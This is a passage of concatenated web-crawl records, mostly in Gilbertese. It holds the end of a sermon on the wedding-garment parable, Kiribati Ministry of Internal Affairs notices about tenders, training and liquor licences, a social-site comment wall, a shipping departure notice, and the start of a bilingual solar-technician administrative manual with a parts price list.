ba n te taina ao ti na roko irarikina ni katonga te baka na amarake ni mare. Ti riai ni bane ni butia te Atua ana karatia ba ti na ongo moa banan te Atua nakon ana baka n amarake tiaki ibukina ba e aonga n raka kukurein te Atua ma ibukina ba ti aonga n aki mate ma ti na maiu n aki totoki.\nTi noria n reitan te karaki aroia aoamata aika kakaokoro ni butimaea ana kakao te Atua nakon ana baka n amarake. Iai taben ake a kaotia ba a rawa n roko ba a maiti tabeia ke a bon aki nora kakawakin irakin nanon te kaokao ibukin kabaiaia ao karekean te maiu ae onraken te maiu. Ngkanne ngke akea ae kaea te kakao ao e a manga tua te toka ba a na kaoaki ake i tutani kawai. Ngke a roko tan kaoaki n te tabo are na boaki iai te baka n amarake ni mare ao akea ba e a noraki iroun te toka temanna te tia kaoaki ae aki bainna n te kunnikai ni mare E kaeka te toka ni kangai;\"ko kanga n rin ikai n akea am kunikai ni mare?\" Ao e tua te toka ba e na kabaeaki te irua arei ao e na karenakoaki nakoin te ai are nnen te tang ma te kangengewi.\nTariu ao maneu tera tibangam ae reke man te karaki aio? Eng, bon te reirei ae kakawaki ibukira ba ti na kabanei maiura aio ni katauraoira nakon te baka n amarake are ti bane ni kaoaki nako iai. Ti karekei baira aika kunnikai ni mare. Ba muina E na norira te toka ma baira aika tiaki kunnikai ni mare ao e na kangai nakoira \"Raou ko kanga n rin ikai n akea am kunikai ni mare? Ao E na tua ba ti kabaeaki ao ti na karenakoaki i mone ike ti na kammarakaki iai n aki totoki.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=25","date":"2021-10-16T23:38:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00104.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":4331,"character_repetition_ratio":0.042,"word_repetition_ratio":0.008,"special_characters_ratio":0.232,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Nakoia aomata nako, e kukurei n katanoata te Botaki n Mwakuri ibukin Aaba Inanoa ke te MIA bwa e a uki ngkai butimwaean reeta ni katauboo ke tenders iaon ana vechicle ma tein boona mai inano ae $10,000. E na toki butimwaean katauboo n 8th April 2022.\nReeta n katauboo\/tenders a riai n karokoaki inanon closed envelopes nakon te address aio:\nTo: Secretary\nMinistry of Internal Affairs\nBairiki, Tarawa\nTender #1\/22\nE kona n noraki rabwatan te vehicle aio n aobitin te MIA I Bairki.\nIbukin rongorongona ae bwanin kam a reitaki ma te MIA office n aoan te mwakuri n nambwa n tareboon aikai 75021092 ke 75021042 ke reitaki nakon te email address aio email@example.com\nKam rabwa\nMairoun Tia Koroboki, MIA.\nDownload Tender pdf ikai\nE kukurei n katanoata te Botaki n Mwakuri Ibukin Aaba Inanoa ba iai te mwakuri n katamaroa nakon ana building te Umwanibong i Bikenibeu. Ake iai nanoia n te mwakuri aio ao a kawara te SAS n te MIA ibukin katabwaninan raoi rongorongona. Kam butimwaeaki man te Kanimabong 18th Maati 2022 nakon te Kanimabong 25th Maati 2022. Aki butimwaeaki ake a roko imwiin te tai anne.\nKam rabwa,\nMai iroun te Tia Koroboki n te MIA\nThe Kiribati Outer Islands Resilience and Adaptation Project (KOIRAP) is to strengthen the capabilities of island councils for risk-informed land development planning, and resilient basic infrastructure and service delivery. This objective will be achieved through (1) expansion of basic infrastructure and services on outer islands which includes local government-community partnerships for water, sanitation and hygiene (WASH) improvements, and local government investments for resilient infrastructure and services; (2) strengthening risk-informed spatial planning and asset management, and (3) project management and monitoring.\nBased on the above, please find four attachments herein where you can provide your inputs and send them to us through our Executive Assistant at her email address – firstname.lastname@example.org – Your inputs are required as it will provide comprehensive information before the project takes off. We will also put these attachments in our Ministry's website (below) for the information of other stakeholders not included in the list. We disclose these draft documents for comments and will hold consultation meetings afterward to seek feedback from relevant government agencies and civil society organisations.\nThe consultation meetings will be held this thursday 13th January 2022 at the MIA boardroom commencing from 9.30am. Please your attendance is required or send your reps.\nKam rabwa,\nSecretary,\nMinistry of Internal Affairs\nE a tia te Botaki n Mwakuri ibukin Tautaeka Inanoaa (Ministry of Internal Affairs\/MIA) ni mwangana ae Tautaeka n Abamwakoro (Local government Division) n waakina ana Kataneiai iaon te Database Accounting Package nakoia ana Clerks ao Council Finance Clerks (CFCs) n reitaki ma tabeman Island Development Officers (IDOs) ake a onei mwiia aia Clerks. E waaki kanoan te kataneiai aio man te Moanibong 13\/12 ao are e na toki n te Kanimabong 17\/12\/21. E karaoaki te kataneiai aio n te MIA ike e kaukaki n taeka ni kamauri ao ni butimwaai nakoia taan ira te kataneiai iroun OIC MIA ao man n taorimwiaki ma taeka tabeua ni kabwarabwara kanoan te Kataneiai iroun Director n te Local Government Division.\nKanoan te kataneiai bon reiakinaia Kiraka ma CFCs aron kaboangan te database aio are e na ibuobuoki ni kabebetea aia mwakuri ibukin tauan ao kawakinan ana account te Kauntira. E na ibuobuoki naba ni kona ni kaotinakoi rongorongon ana mwane te Kauntira n te tai are e kainanoaki iai, riki imwain ana Bowi te Kauntira ni katoa namwakaina. E kairaki te kataneiai aio irouia ana aobitia te Local Government Division ake bon ngaia naba ake a karaoa te database aio.\nAio bon te moan kataneiai iaon te itera aio ike e a katabwena naba iai te moan mwaneka ibukin kamanenaan te Database Accounting Package irouia ake a katabeaki ibukin tararuan mwanen te Kauntira iaon abamwakoro aika a kakaokoro. Iai te kantaninga ae e abwabwaki bwa imwiin tabwanin te kataneiai, ao Taan Mwane (Council Finance Clerks) rinanon aia boutoka Clerks ao Bonomwi n Clerks ao a nang kona n mwakuri ma te database aio n kona n kaotinakoi ribooti n irekereke ma te taua ni mwii ibukin ana mwane te Kauntira inanon te tai teuana ma teuana.\nRibooti ake a kona n otinako man te database aio bon riboti n aron te Trial Balance, Profit and Loss account, Balance Sheet ao ai tabeua riki ake a bon irekereke ma kanoan Te Tua ni Kaetieti ibukin Tararuan ana Mwane te Kauntira (Local Government Financial Instruction)\nE a iraki te kataneiai aio irouia 33 Kiraka, CFCs ao IDOs mai Makin nako Arorae. Ibukin angabuakan bao ni mwamwananga ao aikoa kona n reke rokoia kain Banaba, Kiritimati, Tabuaeran ao Teraina. E na manga karaoaki naba te kataneiai aio nakoia Clerks, ma CFCs angaraoin bao ni mwamwananga. E mwanenaki te kataneiai aio man ana Kataumwane te Botaki ni Mwakuri aio (MIA)\nNakoimi Aomata nako,\nIa kukurei n katangaina nakoimi araia Bitineti ake a tia n karokoi aia reta n bubuti ibukin aia Liquor License ke Kabonakoan te Kamanging ibukin te ririki ae boou 2022. Kam kaungaaki bwa Kam na kona noori aran Bitineti aikai ao n kona ni karokoi inanon bain te aobiti are e tabe ma te itera aio Totoko (Objections) ni kaineti ma anganakiia Koraki\/Bitineti aikai aia License ibukin Kabonakoan te Kamanging. A riai ni bwarabwara raoi baike ana kona n riki bwa totoko nakon anganakiia te License ibukin Kabonakoan te Kamanging (Liquor License) ibukin te ririki 2022. A riai n karokoaki taian Totoko (Objections) rinanon te reta nakon Tia Babaire, TUC Liquor Komete, MIA, n aki iremwe imwain 22\/11\/21 n aoan te mwakuri.\nKam rabwa\nIbukin araia ake a tia n karokoi aia bubuti ibukin Liquor License 2022, taona ikai\nE Katanoata Ikai Te Botaki Ni Mwakuri Ibukin Aaba Inanoaa (Ministry Of Internal Affairs) Ni Mangana Are E Tabe Ma Kanakoraoan Aia Mwakuri Bureitiman Ao Neeti Iaon Abamwakoro Nako (PHSIF) Bwa Katauboo (TENDER) Iaon Kaboan Ke Otanakin 17 Rebwerebwe E A Uki Ngkai.\nKam rabwa.\nMai iroun TIA KOROBOKI n te Ministry of Internal Affairs (MIA)\nE kukurei te Botaki Ni Mwakuri Ibukin Tautaeka Nanoa ke Ministry of Internal Affairs (MIA) ni manga katanoata bwa e a uki ngkai ana Katauboo (TENDER) iaon ana karikirake n aron aio,\nTaiaoka ma kamwa roko n anai bweebwa ni katauboo imarenan taai akana oti ieta ao n aki iremwe imwaain te tai are e na in iai te Tender nte aoa 3pm. Ibukin rongongona riki tabeua ao kam a roko ke n reitaki ma Aobitin te MIA i Bairiki ke reitaki ma contact akana oti inano ibukin rongorongona ae bwanin.\nMIA phone#: 75021092\nEmail address: email@example.com\nKam rabwa\nAnne mai iroun Tia Koroboki nte Botaki n Mwakuri Ibukin Tautaeka Inanoa ke te MIA\nE kukurei te Bootaki N Mwakuri Ibukin Tautaeka Inanoa n butimwaeai taian katauboo iaon ana karikirake ae Butaritari Island Council truck. E uki te katauboo n 2nd Tuun 2021 ao ena in n 7th Tuurai 2021. Kam a butiiaki ake a nano nte katauboo aei n reitaki ma Aobitin te MIA ke Bootaki N Mwakuri Ibukin Tautaeka Inanoaa iaon te tareboon number ae 75021092,75021042 ke n bon roko nte aobiti n aoan te mwakuri. Te kauring kabonganan te mask ngkana kona rin nte aobiti.\nE kukurei te Ministry of Internal Affairs ni butimwaei katauboo iaon ana karikirake ae Nikunau Terminal Project. E uki te Tender n te bong aio 25\/5\/2021 ao ena in n te 18 Tuun 2021. Kamwa reitaki ma te MIA n ana nambwa n Tareboon ae 75021092 ke reitaki ma te email address ae firstname.lastname@example.org ke bon rooko n aobitin te MIA i Bairiki ibukin bwaninin rongorongona.\nKam rabwa\nUnder the Constitution of Kiribati Chapter IV, the Ministry of Internal Affairs responsibility for the conduct of the business of the Government specified in Part 5 of the Schedule to this Instrument; BOTAKI IBUKIN TAUTAEKA INANOA, MINISTRY OF INTERNAL AFFAIRS …\nUnder the Constitution of Kiribati Chapter IV, the Ministry of Internal Affairs responsibility for the conduct of the business of the Government specified in Part 5 of the Schedule to this Instrument; BOTAKI IBUKIN TAUTAEKA INANOA, MINISTRY OF INTERNAL AFFAIRS …\nThe Ministry of Internal Affairs is responsible for the facilitation of council's administration throughout the country. The Ministry of Internal Affairs seconds four officials designated as Project Officer, Clerk, Treasurer and Council Finance Clerk …\nThe Ministry of Internal Affairs is responsible for the facilitation of council's administration throughout the country …\nAt this page, you will find News and Updates, information about tenders, current job vacancies within the Ministry, photo gallery, downloadable job descriptions, Kiribati national conditions of services, and so forth …\nAt this page, you will find news and updates, information about tenders, current job vacancies within the Ministry, photo gallery, downloadable job descriptions, Kiribati national conditions of services and so forth …\nThis particular department is responsible for the administration, coordination and support for the rest of the divisions within the Ministry …\nThe department is based at the 'Umanibong' at Bikenibeu. It is responsible for preserve, protect and promote (PPP) of the Kiribati culture …\nThe Local Government Division is one of the four divisions within the Ministry of Internal Affairs. The Local Government Division has fundamental …\nThe department provide technical support to all Island Councils in order that they achieve their development needs through government …\nThis particular department is responsible for the administration, coordination and support for the rest of the divisions within the Ministry …\nThe department is based at the 'Umanibong' at Bikenibeu. It is responsible for preserve, protect and promote (PPP) of the Kiribati culture …\nThe Local Government Division is one of the four divisions within the Ministry of Internal Affairs. The Local Government Division has fundamental …\nThe department provide technical support to all Island Councils in order that they achieve their development needs through government …","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/internalaffairs.gov.ki\/","date":"2022-05-23T23:33:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662562106.58\/warc\/CC-MAIN-20220523224456-20220524014456-00128.warc.gz","language":"gil","language_score":0.9977229834,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 0.9977229833602905}","num_words":1603,"character_repetition_ratio":0.073,"word_repetition_ratio":0.169,"special_characters_ratio":0.198,"stopwords_ratio":0.204,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Well mauri nab gkoe...ao kai e rarabwa naba te drop by...yep m also new at this thing but glad e created coz ea kona iai n reke ara tai ni maroro ao man reitaki ma ara bakatibu ni banaba...haha...ao gke are koa bon ataa ikai koa maga raraun nakomai ni katoka kuam nte page aei tiaki tooi aei..hihi\nao e tau ma tekraoi te waaki ao tia maga boo moa kee\nComment Wall (2 comments)\nYou need to be a member of Banaban Voice to add comments!\nJoin Banaban Voice\nbye and take care\nao e tau ma tekraoi te waaki ao tia maga boo moa kee\ncheerzz lolz","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/banabanvoice.ning.com\/profile\/TaatoaKamkeiti","date":"2023-03-23T11:28:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945144.17\/warc\/CC-MAIN-20230323100829-20230323130829-00676.warc.gz","language":"gil","language_score":0.9918851256,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9918851256370544}","num_words":108,"character_repetition_ratio":0.08,"word_repetition_ratio":0.081,"special_characters_ratio":0.235,"stopwords_ratio":0.204,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Katanoata \"Mwanangan FV Manganibuka nako Kuria ao Arankuka\".\nNakoimi aomata ao business ni kabane,\nKam na bane ni mauri.\nIai manganan FV Manganibuka nako Kuria ao Aranuka ni banen te week aei.\nIbukin te katoka kaako kam a reitaki ma aobitin CPPL Betio n te number ae 75126067 ke reitaki mangaira riananon te meeri\nKam raba\nCEO, CPPL\nFV Manganibuka Departure Notice for Kuria and Aranuka\nDear valued customers and partners,\nWe are pleased to inform you that the FV Manganibuka is scheduled to depart for Kuria and Aranuka at the end of this week.\nFor further details and information regarding cargo loading procedures, please do not hesitate to contact CPPL Betio at 75136067 or contact us\nThank you.\nSincerely,\nCEO, CPPL","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/cppl.com.ki\/2023\/09\/05\/katanoata\/","date":"2023-12-06T00:51:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100575.30\/warc\/CC-MAIN-20231206000253-20231206030253-00326.warc.gz","language":"gil","language_score":0.8545991182,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.854599118232727, \"eng_Latn_score\": 0.02295910008251667, \"pol_Latn_score\": 0.01198013685643673}","num_words":120,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":0.846,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Kabwarabwaraan aia mwakuri Tekinitian n abamakoro\nAdministrative manual for island technicians\n8. ACP. KI. 02 \"Solar energy for outer islands\"\nAdministrative Manual for Island Technicians\nThis manual was originally designed during the implementation of the project \"Solar Energy for outer islands\". The funding and technical assistance were provided by the European Union. The first objective of the project is to install 1,700 solar home systems and electrify 96 maneabas (community buildings) in all the 18 islands of the Gilbert Atoll. Republic of Kiribati. The second objective is to enhance the organizational capabilities of the Solar Energy Company, Ltd in order to ensure the long term viability of the power utility service. The manual will assist island technicians in the successful implementation of the administrative procedures, which will contribute to the second objective of the terms of reference.\nAdministrative manual for island technicians\ni\nPrepared by\nTerubentau Akura General manager Solar Energy Company, Ltd email@example.com Marc Torra Griso Business Management Expert 8.ACP.KI.02 Solar Energy for outer islands firstname.lastname@example.org\nWith contributions from\nJens Merten Solar Energy Expert 8.ACP.KI.02 Solar Energy for outer islands email@example.com Claudia Villalobos Montoya Social Development Expert 8.ACP.KI.02 Solar Energy for outer islands firstname.lastname@example.org Special thanks to Herb Wade, whose UNESCO manual was so inspiring to write the technical content of this book.\nIllustrations by\nNatang Itonga & Roberto López\nAn electronic copy of this manual may be obtained from the project web site: http\/\/:www.solar.net.ki Original text in English with translation into Gilbertese by Terubentau Akura & Teawaki MacKenzie\nPublished with financial assistance from the European Union Copyright © 2004 Solar Energy Company, Ltd All rights for commercial\/for profit reproduction or translation, in any form, reserved. The reproduction or translation of this material for educational or research purposes is authorised, provided that the source document is properly acknowledged. Administrative manual for island technicians\nTabe 3......... Merinan booma aika kakawaki ao bwain taura aika uruaki…. Kanoakin taian kaati (user balance kaati)…………………… Tabe 5.. Butimaean bwaai man te aobiti i Tarawa……………………… Katoa Kanimabong..KANOANA page Abokana …………………………………………………………………………………. Kabanea ni wiikin te namakaina……………………………………………… Tabe 6.. Tabe 2... Kanoan taian booma aika kakawaki…………………………… Tabe 7. Tabe 4... Buokaia am katitama ……………………………………………. 8 taabe (taatike) aika a riai ni katiaaki ni katoa namakaina. Anaakin taura ……………………………………………………... Aika riai ni katiaaki inanon 3 te wiiki………………………………………… Tabe 1.…………………………………………………………….………….. Kawaran taian kaawa……………………………………………. 1 3 5 6 15 37 39 40 44 46 47 58 60\nAdministrative manual for island technicians\n.... Tabe 8.. Kawaraia taan kabonganaa te tiora…………………………….\nAdministrative manual for island technicians\n5\n.\nKoteami nakon te nakoa e na tiku bwa taben te komete ni boutoka n ami abamakoro inanon aia reitaki ma aobitin te kambwana i Tarawa. Imwin tian te rinerine e rang ni kakaawaki bwa ana kamatoaaki araia tekiniitian ni kaawa man boton aobitin te kambwana.Abokana Aio am boki ae koreaki ibukin kabutan kauran taura iaon abamakoro n reita te koaua are am mwakuri raoi bon kiingin te nakoraoi n te waaki. Rineaia ena tiku bwa taben te tekiniitian n te abamakoro n reitaki ma te komete ni boutoka n te abamakoro ao unimwaane n te kaawa are e nanonaki. A bane n toa abamakoro ma aia tekiniitian are ngaiia taan tei ibukin te kambwana n aia abamakoro. Te boto ni iango ibukin kateirakean te tekiniitian n te kaawa bon ti buokam ao kabeebeteam bwa ena karaoi tabem tabeua aika a riai ao karekean te anga are ena ibuobuoki naba kain te kaawa bwa e aonga ni butiraoi am mwakuri.\nAdministrative manual for island technicians\n1\n. Ana kona ni karekeaki tekinitian n te kaawa ngkana e kainnanoaki.\nTe mwaiti ae 75 n te abamakoro e taraa n uareereke ao ko bon kona n tararuai.\nAdministrative manual for island technicians\n2\n. E kona n rang ni ibuobuoki nakon rikoan boon tauran maneaba ao auti n ana kaawa. Taabo ake a karako iai taura tao e na bon aki materaoi rinean te tekiniitian bwa ena bon karako naba mwaitin te kaniwanga are e na karekea maiai.Abokana\nTe tai ae angaraoi ibukin rinean te tekiniitian n te kaawa\nE boboto rineakin te tekiniitian n te kaawa iaon baikai:\n• Mwaitin taura: E na kona n rineaki te tikiniitian n te kaawa n taabo ake a mwaiti iai taian taura. • Raroan te kaawa ao kaangaangan reken te bao ni mwamwananga: Taabo ake a raroa mai iroum ana bon tangira kateirakean te tekiniitian n te kawa. Ko a kona n rinea buokam ngkana e raka mwaitin te taura iaon 75. • Mwaitin taura n te kaawa: N te tai are e keerake mwaitin taura n te kaawa ko a kona n rinea te tekiniitian n te kaawa anne. E na karaoi tabem ni kabane ao ena ti tangira kawarana iroum te taina ni katoa namakaina. E na kona naba ni katika nanoia kain te kaawa bwa iai katabeaia ibukin boon tauran maneabaia. • Maneaba aika a kanimaki tauraia: E na angaraoi kateirakean te tekiniitian n te kaawa are iai tauran maneabana.\nTe moan tabe bon kawaran kaawa ao te kabanea n tabe bon merinakin booma ao bwaai aika a uruaki nakon boton te kambwana. te kauoua ao te katenua ni wiiki. E kakaawaki bwa ana tia tabem ni kabane n taiia n te aro bwa e na itiaki kanoan te namakaina ao ena bwaka am bwakabwai n taina ae riai. Uoua mai iai a tei bwa kanoan te kanimabong koraki ao ake nikarana aika tenua ana katiaaki inanon kabanean wiikin te namakaina. Tenua mai iai a riai ni katiaaki inanon te moan.\nAntai tabena karaon taabe aikai?\nBon tabem ngkai ko riki bwa te tekiniitian n te abamakoro ao taraia bwa ana akea te tabe teuana mai buakon 8 taabe aika ana aki karaoaki. A tia n nambanaki tabem nako ao iai mai ibuakoia aika a manga tibwaaki nakon mwakuri aika uarereke. E ngae n anne te bukinaki e toka iaom ngaia are bon tabem katiaan mwakuri ni kabane ni ikotaki naba ma mwakuri ake ko angan te tekiniitian n te kaawa bwa ena karaoi.\nTeraa kaokoron te tabe ao mwakuriana?\nTaian tabe tabeua a tibwatibwaaki nakon mwakuri aika kakaokoro ao tabeua mwakuri a kona n anganaki tekiniitian n te kaawa bwa ana karaoi.\nAdministrative manual for island technicians\n3\n.Wanuua taabe aika ana karaoaki te namakaina koraki Katabeam a tia n tibwaaki nakon wanua.\nE kakaawaki irakin te kaetieti aio!\n7\nKamaingan taura\n8\nMeerinakin booma ao bwaai aika uruaki\nAdministrative manual for island technicians\n4\n.8 taabe aika kanoan te namakaina\n1\nKawaran kaawa\n2\nKawaraia katitama\n5\nButimaeaia katitama (SC)\n3\nButimaean kaakoo\n4\nKanoakin te userbalance kaati\n6\nKanoakin booma riki tabeua\nTabem aika wanua aikai a riai ni karaoaki n teiia ae kaotaki.\n2 ao 3 inanon 3 moan wiikin te namakaina koraki n aron: • Tabe 1 – Kawaran kaawa • Tabe 2 .8 taabe aika kanoan te namakaina\nA riai n tia taabe namba 1.Kawaraia am katitama n aia auti • Tabe 3 .Butimaean kaakoo\nAdministrative manual for island technicians\n5\n.\nKo riai n anganna ana tai ae tau ibukin katiaan ana mwakuri. Reitaki n taainako ma naakai iaon taian bitaki nakon am tai ke te bong are ko na kawariia\nAdministrative manual for island technicians\n6\n. Engae n anne te bwai ae kakaawaki bon irakin karaoan taabe aikai n teina ae koreaki n te boki aei. A riai ni kawaraki kaawa ake akea te tekiniitian n te kaawa iai. Kawarii kaawa ake a mwaiti taura iai ao iai naba aia tekiniitian n te kaawa\nBukin tera ae kakaawaki irakin tein taabe aikai?\nTe bwai ae kakaawaki bwa a riai n tia ana mwakuri te tekiniitian n te kaawa imwain kawarana iroum.Tabe 1. Ana kawaraki kaawa ake iai te tekiniitian n te kaawa iai ma e karako mwaitin aia taura 3. kain te komete ni boutoka n te kaawa ao unimwaane n te kaawa bwa ana atai am bong ake kona kawara iai aia kaawa. 2. KAWARAKIN KAAWA\n1.! Katei am tai ni kawarii kaawa ao reitaki ma te tekiniitian ni kaawa. Mwakuri akanne a taekinaki ni iteranibaa 16 n te boki aei. Kawarakin kaawa\nTABE NAMBA 1.\nMwakuri aikai bon tabem ao tiaki taben te tekiniitian n te kaawa. N tebaana te booma e tau ibukin 22 te auti. Ngkana iai te mwakuri ni katamaroa ae karaoaki 2. Iai kainnanoan riki karakaan mwaitin ana taura te tia kaboongana te tiora 3. Ko riai ni uouoti am tibea booma bwa e aonga n tauraoi ngkana iai kainnanoakina iroun te tekiniitian n te kaawa ao n te aro bwa e na teimatoa tararuaakin taura ni katoa namakaina. N aei are ko riai ni kawakin booma aikai ibon iroum. Iai bitakin te bwakamwane ke tao e aki mwakuri te taura n aron ane e oti ni iteraniba 35.Tabe 1. Kawaran kaawa\nTera booma aika ko riai ni uoti n am tai ni kawari kaawa?\n1 Monitoring sheet\nThe monitoring sheet e bon riai ibukin tauan namba ke rongorongo ibukin kateimatoaan mwakurin taura.!\n2 beba ni mwakuri (Activity Sheet)\nE boongana te beba ni mwakuri (Activity Sheet) ibukin aikai: 1.\nAdministrative manual for island technicians\n7\n.\nKawaran kaawa\nBaikara riki bwaai aika ko riai ni uoti?\n3 Te boki n ritiiti\nN am tai ni kawari kaawa e na kona ni iai aika tauraoi ni kabwakai boon aia taura. Tai maninga ni uota te ritiiti. N rokom ao anganiia aia tai bwa ana kabwakai boon aia taura. Ngkana aki tauraoi ao waakina te korotaura.\nAm ara ana bon reke man te User Balance Kaati (te kaati ae bingke) are araia ake e a tia ni koro ke n raka mwaitin aia taarau n te mwaiti ae uoua te namakaina ke n raka.Tabe 1.\nAdministrative manual for island technicians\n8\n.\n4 Araia ake a riai ni koreaki aia taura\nBon tabem katauraoan am ara.\nAdministrative manual for island technicians\n9\n.Tai katikua ma uotia bwa iriam.Tabe 1.\nVolt Meter: Ko kainnanoa naba te Volt meter n aron naba te hydrometer.\nHydrometer: Ko kainnanoa te hydrometer ibukin kanoakin booma.\nAm note boki ao kainikoroboki: Tau mwiin aia tangitang am katitama n te boki bwa ko na aki maninga ni karaoi ao n nooria bwa ana bane n tia n te tai ae waekoa. Kawaran kaawa\nAm Tools aika ko riai ni uoti\nTools ibukin te tararua: Tai maninga ni uoti am bwai ni mwakuri aika ko a tia n anganaki ibukin te tararua.\nTibean bwain taura: Mai ibuakon am stock iai naba bwaai aika a kona ni kaboonganaaki n te utility ke n riki bwa tibea n aron te wiiki inverter ibukin taura.\nAdministrative manual for island technicians\n10\n. Bon tabem katauraoan te ran ae itiaki ibukin te baetere. Noora te kabwarabwara iaon te kanban sheet.Tabe 1. Kawaran kaawa\nBwaai aika ko riai ni uoti\nBwaai aika ana kaboaki nako: Taura. E ngae ngkana e atia ni karaoia te tekiniitian n te kaawa. wiikin taura a kona n iai tangiraia ao tai maninga ni uoti tabeua.\nRanin te baetere: Tai maninga ni uota am container n ran. Irarikin aikai ko kona ni uoti baika a kainnanoaki ao ni beebeta uotaia n aron te cable clip.\nKawaran kaawa\nKabonakoan bwaai\nCash on delivery\nCatalogue of Items 2003\nCash on Delivery\nItem # Description Electronic components BP006 Fluro Inverter 24V 10-20W BP007 Fluro Inverter 12V 10-20W T8 INDP002 Inverter 24V 11W INDP003 Inverter 12V 11W Lighting BP010 Flourescent light 12v 18w INDP005 Pl light 12V 11W INDP006 Pl light 24V 11W Manufacturing MANF003 DC-DC Converter Price $35 $35 $24 $28 $120 $58 $54 $50 Advance 0 0 0 0 0 0 0 0\nKawaran kaawa bon te tai ae e angaraoi ibukin te kabobwai nakoia am katitama. E na bwaka te kaniwanga aei te taina n te ririki imwain te kiritimati. Tai maninga ni uota te beeba are e koreaki iai bwaai ma booia.\nDelivery Order\nItem # Description Generation BP011 Solar Panel BP 50W BP012 Solar Panel BP 75W BP013 Solar Panel BP 80W BP014 Solar Panel BP 60W Accumulation ALC001 Battery 100Ah 12V ALC002 Battery 105Ah 6V ALC005 Battery T205 6V FB001 FB Battery 110Ah 12V Electronic components ASSEM008 Capacitor 16V.Tabe 1.1000 uf BP016 Inverter 350w 12V CHSP003 LBC SOLAR JACK CHSP010 Fuse KPT 160a 500V PLA0001 Plastm. Controller 20amp 12v SELC002 Selco Lumninaire Lighting BH003 OLD002 SELC001 Cabling KSCL03 Tools & Appliances BP008 BP009 CHSP017 OLD006 SELC004 Manufacturing MANF001 MANF002 Others CHSP011 CHSP012 Fluro .) Hydrometer Motor 12V Video Set Solar Fan DC 8 inch Controller SEC 20amp 12v Controller SEC 20amp 24v Drive Assemble Diapharam Kit Page 1 of 2\nPrice $580 $770 $885 $815 $300 $260 $240 $345 $300 $885 $250 $23 $185 $105 $45 $50 $145 $36 $85 $35 $145 $1.light 2 feet Hat Tupy Solagen light Led lamp with six white led Hytide Volt Meters + bags(multi m.185 $85 $185 $185 $34 $25\nAdvance $580 $770 $885 $815 $300 $260 $240 $345 $300 $885 $250 $23 $185 $105 $45 $50 $145 $36 $85 $35 $145 $1185 $85 $185 $185 $34 $25\nAdministrative manual for island technicians\n11\n.(te kataroka) Ni mwaitin am bobwai ao iai kaniwangam ae 3% ae e na bwaka nakoim man bootan am bobwai n teuana te ririki itinanikun am bobwai.\nTeuana naba te bwai ae e riai ni iai iroun te tekinitian n te kaawa ke are e onimakinaki ibukin rikoan boon te taura bon: te boki n ritiiti Bon tabem bwa e na tauraoi te boki n ritiiti iroun te tekinitian n te kaawa ke are e na karaoa te rikomwane ibukin boon te taura.\nAdministrative manual for island technicians\n12\n. e kakawaki bwa ana iai ni kabane bwaai aika taekinaki i eta iroun te tekinitian n te kawa. Kawaran kaawa\nBwaai aika a riai n reke iroun te tekinitian n te kaawa\nAikai bwaai aika e riai n reke iroun te tekinitian n te kawa: te booma ae te Monitoring sheets te boki ao te kainikoroboki te Hydrometer te Voltmeter ran ibukin te baetere bwai ni mwakuri ibukin te tararua\nN tabem ae te tekinitian n te abamakoro.Tabe 1.\nKanoan te marooroo iaan te maneaba:\n1. Taetae n aron ae riai ma te nano ni karinerine nakon te maneaba ke te tabwanin. Kawaran kaawa\nKawaran te maneaba\nKaraoa aio n angaraoina riki ngkana e kauraaki tauran te maneaba n te iti man otan taai ao a kariaia kawaran maneabaia. Te mwakuri aei are bon kanoan te mwakuri namba 4 iaan te karinan n tabe ae namba 2. 3. katitama ao ai kain te komete ni boutoka. Kaungaa te ikakarabakau n te aro bwa ana bane am katitama n taekin aia kaangaanga ke taian nakorai. 5. Rinanoakin booma iaon te monitoring sheets . 4. Tuangiia ake ko na kawariia n aia auti ni karaoi mwakuri aika kanoan te karinan n tabe ae namba 2. N am kariaia ao ena kona n angaraoi te maneaba bwa te tabo are ana kabwakai iai boon aia taura. Anga am taeka ni kaaitau ni banen te marooroo nakoia unimwane. Aikai bon kanoan tabem ae namba 2 ae kaineti ma kawaraia katitama (nora iteranibaa 16). Iai katein te maneaba aika a kakawaki aika ko riai ni irii riki ngkana ko kaaitara ma te kaawa ae banin ke unimwane. Tewean te maneaba e riai ni karaoaki n riaina ao ko riai n roko n am tai ke te bong are a kainnanoiko iai kain te kaawa. 2.Tabe 1. Kabongana tauran te maneaba bwa kairan aia iango iaon te mwakuri n tararua ke kaboonganakina n te aro ae riai.\nAdministrative manual for island technicians\n13\n. Aanga am karabwarabwa ibukin nakoraoin ana mwakuri te tekinitian n te kaawa ke am kaunganano bwa e na keiaki riki ni karaoa tabena ae tamaroa.\nAdministrative manual for island technicians\n14\n. Naake a reke iaan te korotaura\nRibootinakin mwakuri aika irekereke ma taian keiti aika 4 n aron ane oti ieta a karaoaki ni kanoakin te booma ae te beba ni mwakuri (Activity Sheet). Bon tabem kanoakina ngaia anne bukina ae e aki anganaki te tekinitian n te kaawa te booma aei. Kawaran kaawa\nAntai ae ko riai ni kawariia?\nKo riai ni kawariia 